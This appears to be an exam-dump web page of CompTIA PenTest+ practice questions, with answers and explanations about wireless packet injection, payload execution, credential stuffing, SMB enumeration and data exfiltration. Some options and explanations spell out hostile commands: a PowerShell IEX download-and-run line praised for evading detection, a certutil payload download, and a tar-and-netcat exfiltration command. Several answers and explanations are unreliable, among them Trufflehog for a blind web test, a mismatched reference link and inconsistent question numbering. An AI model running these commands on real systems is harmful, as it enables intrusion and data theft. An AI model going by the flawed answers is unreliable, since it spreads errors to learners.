Free PT0-003 Exam Braindumps
CompTIA PenTest+ Questions 73–80 (page: 11)

Updated On: 20-Aug-2026

SIMULATION -A previous penetration test report identified a host with vulnerabilities that was successfully exploited. Management has requested that an internal member of the security team reassess the host to determine if the vulnerability still exists. INSTRUCTIONS -Part 1: •Analyze the output and select the command to exploit the vulnerable service. Part 2: •Click on each command to view its output. •Select the appropriate set of commands to escalate privileges. •Identify which remediation steps should be taken. If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

  1. See Explanation section for answer.

Answer(s): A

Explanation:



SIMULATION -A penetration tester has been provided with only the public domain name and must enumerate additional information for the public-facing assets. INSTRUCTIONS -Select the appropriate answer(s) after viewing the terminal output in each of the three tabs. If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.


  1. See Explanation section for answer.

Answer(s): A

Explanation:



A penetration tester aims to exploit a vulnerability in a wireless network that lacks proper encryption. The lack of proper encryption allows malicious content to infiltrate the network.
Which of the following techniques would most likely achieve the goal?

  1. Packet injection
  2. Bluejacking
  3. Beacon flooding
  4. Signal jamming

Answer(s): A

Explanation:

Here's a detailed justification for why packet injection is the most likely technique to exploit a vulnerable wireless network lacking proper encryption:
The scenario describes a wireless network susceptible to malicious content due to insufficient encryption. This means an attacker can potentially intercept and manipulate network traffic. Packet injection is the process of inserting malicious packets into a network stream. Without proper encryption, these injected packets can be readily accepted and processed by devices on the network, essentially bypassing security measures.
Option B, Bluejacking, involves sending unsolicited messages over Bluetooth, which isn't relevant to infiltrating a wireless network lacking encryption. Option C, beacon flooding, aims to overwhelm a network with fake access points, a DoS attack rather than an exploitation of a vulnerable network. Option D, signal jamming, disrupts network communication altogether, preventing data transfer rather than manipulating it.
Packet injection, in contrast, directly leverages the absence of encryption. An attacker could inject packets containing malicious scripts, malware downloads, or modified web content, all of which would be delivered to network users as if they were legitimate data. This makes it a very effective method to exploit the vulnerability described. The attacker could, for example, inject an HTTP response that redirects users to a malicious website when they try to visit a legitimate page.
In essence, weak encryption opens the door to packet injection attacks, allowing the insertion of harmful content because the network cannot authenticate the origin or integrity of the data. The lack of encryption means packets are sent in plaintext, making them easily modifiable and injectible by an attacker.
Further Reading:
Packet Injection: https://en.wikipedia.org/wiki/Packet_injection Wireless Security: https://owasp.org/www-project-top-ten/ (While not directly about wireless, OWASP covers web security, and packet injection can lead to web-based attacks.)



A penetration tester gains initial access to an endpoint and needs to execute a payload to obtain additional access.
Which of the following commands should the penetration tester use?

  1. powershell.exe impo C:\tools\foo.ps1
  2. certutil.exe -f https://192.168.0.1/foo.exe bad.exe
  3. powershell.exe -noni -encode IEX.DownloadString("http://172.16.0.1/")
  4. rundll32.exe c:\path\foo.dll,functName

Answer(s): C

Explanation:

C is correct because it effectively leverages PowerShell to execute a payload in an encoded format, allowing for stealthier execution and evasion of detection methods.
Justification for Option C:
Stealth and Evasion: powershell.exe -noni -encode IEX.DownloadString("http://172.16.0.1/") utilizes encoded command execution, which obscures the command being executed, making it less detectable by security monitoring tools. The IEX (Invoke-Expression) cmdlet dynamically executes the downloaded script, providing a mechanism to execute arbitrary code once the payload is retrieved.
Evaluation of Other Options:
Option A: powershell.exe impo C:\tools\foo.ps1
This command is syntactically incorrect due to a typographical error ("impo" should be "import"). Additionally, it presumes the script is already present on the local filesystem, failing to incorporate a mechanism for initial access and potential evasion. Option B: certutil.exe -f https://192.168.0.1/foo.exe bad.exe
While it successfully downloads a file, certutil is a built-in tool primarily used for certificate management.
Using it in this context raises suspicion, particularly for security monitoring systems, and the lack of obfuscation might expose the operation too readily. Option D: rundll32.exe c:\path\foo.dll,functName
This command executes a function from a DLL but lacks a mechanism for downloading a payload remotely, assuming local access to the DLL is available. Additionally, using rundll32.exe can be conspicuous and is frequently flagged by security solutions due to its common association with malicious activity.
References:
https://www.pentest-standard.org/index.php/Attack_Stages#Execution https://learn.microsoft.com/en-us/powershell/scripting/samples/executing-powershell-scripts? view=powershell-7.1 https://www.sans.org/blog/techniques-to-evade-detections-in-ps-execution/


Reference:

References:
https://www.pentest-standard.org/index.php/Attack_Stages#Execution https://learn.microsoft.com/en-us/powershell/scripting/samples/executing-powershell-scripts? view=powershell-7.1 https://www.sans.org/blog/techniques-to-evade-detections-in-ps-execution/



A penetration tester obtains password dumps associated with the target and identifies strict lockout policies. The tester does not want to lock out accounts when attempting access.
Which of the following techniques should the tester use?

  1. Credential stuffing
  2. MFA fatigue
  3. Dictionary attack
  4. Brute-force attack

Answer(s): A

Explanation:

The correct answer is A, Credential Stuffing, because it's designed to minimize account lockouts when dealing with strict policies. Here's why:
Credential stuffing leverages previously compromised username/password pairs obtained from breaches on other websites. The tester attempts to log into the target system using these known credentials. The core concept is that users frequently reuse the same username/password combination across multiple services. Therefore, if a user's credentials were leaked in one breach, there's a chance those credentials will also work on the target system.
Because credential stuffing relies on existing credentials, the rate of login attempts is usually lower and spread out compared to a brute-force attack. Brute-force attacks, by contrast, systematically attempt every possible combination of characters to guess passwords. This generates a high volume of failed login attempts very quickly, almost guaranteeing account lockouts under strict policies.
A dictionary attack also involves a high volume of attempts, iterating through a list of common words and phrases. This also quickly triggers lockout mechanisms. MFA (Multi-Factor Authentication) fatigue exploits a vulnerability in the user’s acceptance of push notifications.
While it wouldn’t trigger a lockout directly, it is not relevant in this scenario and wouldn’t be used when lockouts need to be avoided.
Credential stuffing attempts are inherently more cautious because the penetration tester is relying on the possibility that credentials from other breaches will work. This inherently limited attempt rate helps avoid tripping the lockout policies, as it's not randomly guessing combinations or rapidly trying variations. It prioritizes stealth and a lower profile over aggressive password cracking, making it suitable when working with strict lockout rules.
In conclusion, credential stuffing is the most appropriate choice when aiming to avoid account lockouts because it utilizes known credentials and therefore performs fewer attempts per account compared to brute-force or dictionary attacks.
Further Reading:
OWASP - Credential Stuffing: https://owasp.org/www-project-top-ten/2017/A7_2017-Cross-Site_Scripting_(XSS) (While this link focuses on XSS, OWASP is a valuable resource for understanding web security threats. Search their site for credential stuffing for a more relevant page). NIST (National Institute of Standards and Technology): Consider searching the NIST database ( https://www.nist.gov/ ) for guidance on password policies and authentication methods.



A penetration tester obtains the following output during an Nmap scan:

Which of the following should be the next step for the tester?

  1. Search for vulnerabilities on msrpc.
  2. Enumerate shares and search for vulnerabilities on the SMB service.
  3. Execute a brute-force attack against the Remote Desktop Services.
  4. Execute a new Nmap command to search for another port.

Answer(s): B

Explanation:

B: Enumerate shares and search for vulnerabilities on the SMB service: This is the most likely next step if the scan shows ports 445 (SMB) or 139 (NetBIOS) are open. SMB is a common service with known vulnerabilities and often exposes shared directories that can provide valuable information or points of entry. The suggested answer points to this as the correct option, implying the prior scan found an open SMB port.



A penetration tester has been asked to conduct a blind web application test against a customer's corporate website.
Which of the following tools would be best suited to perform this assessment?

  1. ZAP
  2. Nmap
  3. Wfuzz
  4. Trufflehog

Answer(s): D

Explanation:

D is correct because Trufflehog is uniquely designed to find sensitive information in git repositories, which is critical for a blind web application test.
Justification for Trufflehog:
Trufflehog scans for high-entropy strings and secrets in version-controlled repositories, making it ideal for a blind test scenario where the tester has limited visibility. By uncovering sensitive data, such as API keys and credentials, Trufflehog provides a deeper understanding of potential vulnerabilities without needing direct interaction with the web application. This aligns with the objectives of a blind test, allowing the penetration tester to identify misconfigurations or leaks that could be exploited in an attack.
Evaluation of Other Tools:
ZAP : Although ZAP (Zed Attack Proxy) is an excellent web application security scanner, it's more suited for interactive testing with direct access to the application. In a blind test where access is limited, ZAP may not yield as effective results since it relies on probing and analyzing the application's response directly.
Nmap : This tool is predominantly used for network discovery and security auditing.
While it can identify open ports and services, it does not specialize in the nuanced vulnerabilities of web applications, such as those presented within code repositories.
Wfuzz : Primarily focused on web application brute-forcing, Wfuzz is effective for testing specific application endpoints. However, it lacks the contextual focus required for a blind test scenario centered around uncovering sensitive information from underlying repositories.


Reference:

https://trufflesecurity.com/trufflehog https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project https://nmap.org/



A tester enumerated a firewall policy and now needs to stage and exfiltrate data captured from the engagement. Given the following firewall policy:

Which of the following commands should the tester try next?

  1. tar -zcvf /tmp/data.tar.gz /path/to/data && nc -w 3 443 < /tmp/data.tar.gz
  2. gzip /path/to/data && cp data.gz 443
  3. gzip /path/to/data && nc -nvlk 443; cat data.gz | nc -w 3 22
  4. tar -zcvf /tmp/data.tar.gz /path/to/data && scp /tmp/data.tar.gz

Answer(s): A

Explanation:

A: tar -zcvf /tmp/data.tar.gz /path/to/data && nc -w 3 443 < /tmp/data.tar.gz.
This command combines two common actions in penetration testing or data exfiltration:
tar -zcvf /tmp/data.tar.gz /path/to/data: This part of the command creates a compressed archive.
tar: The command for creating and manipulating archive files.
-z: Compresses the archive using gzip.
-c: Creates a new archive.
-v: Verbose, shows the files being added.
-f: Specifies the filename of the archive, in this case, /tmp/data.tar.gz.
/path/to/data: The source directory or file to be archived.
&&: This is a logical operator that executes the second command only if the first command completes successfully.
nc -w 3 443 < /tmp/data.tar.gz: This part uses netcat (nc) to exfiltrate the archived data.
nc: The netcat utility, a powerful networking tool.
-w 3: Sets a timeout of 3 seconds.
443: Specifies the destination port. This port is often used for data exfiltration because it's the standard port for HTTPS and is frequently open on firewalls.
< /tmp/data.tar.gz: The input redirection operator, which sends the contents of the compressed archive to the standard input of the nc command, effectively sending the file over the network connection.



Viewing page 11 of 44
Viewing questions 81 - 88 out of 372 questions


Post your Comments and Discuss CompTIA PT0-003 exam prep with other Community members:

AI Tutor AI Tutor 👋 I’m here to help!